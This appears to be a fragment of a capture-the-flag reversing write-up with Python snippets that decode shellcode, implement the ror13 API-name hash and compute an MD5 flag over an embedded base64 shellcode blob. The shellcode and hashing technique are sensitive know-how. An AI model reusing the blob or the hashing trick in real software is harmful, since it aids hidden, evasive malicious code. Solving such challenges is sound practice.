data = bytearray([ROR(i, 3, 8) for i in data])

shellcode = base64.b64encode(data).decode()
print(shellcode)
check flag use ror13 hash
def ror13(target):
    # return ((target << 0x13) & 0xfff80000) | ((target >> 0xd) & 0x07ffff)
    return ((target << 0x13) & 0xffffffff) | ((target >> 0xd) & 0x07ffff)


def calc(s):
    target = 0
    for c in s:
        target = ror13(target)
        target += c
    return target

x64dbg debug get param values.
import hashlib

msd = b'LoadLibraryExA'
data = bytearray(b''.fromhex("69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E"))
for i in range(14):
    data[i] += msd[i] % 5

base = b"YPxoTHcmBzPSZItSMItSDItSFItyKA+3SiYz/zPArDxhfAIsIMHPDQP44vBSV4tSEItCPAPCi0B4hcAPhL4AAAADwlCLSBiLWCAD2oP5AA+EqQAAAEmLNIsD8jP/M8Cswc8NA/g6xHX0A3wkBDt8JAx12TP/M8mDwlAPtgQKwc8NA/hBg/kOdfHBzw1XM/8zyYtUJDxSD7YcDrhnZmZm9+vR+ovCwegfA8KNBIAr2FoPtgQKK8PBzw0D+EGD+Q511MHPDTs8JHQWaCVzAACLxGhubwAAVFCLXCRI/9PrFGglcwAAi8RoeWVzAFRQi1wkSP/TWFhYWFhYWFhYYcNYX1qLEukL////"
base += data
print(hashlib.md5(base).hexdigest())

© Z00M Team 2022 - 2024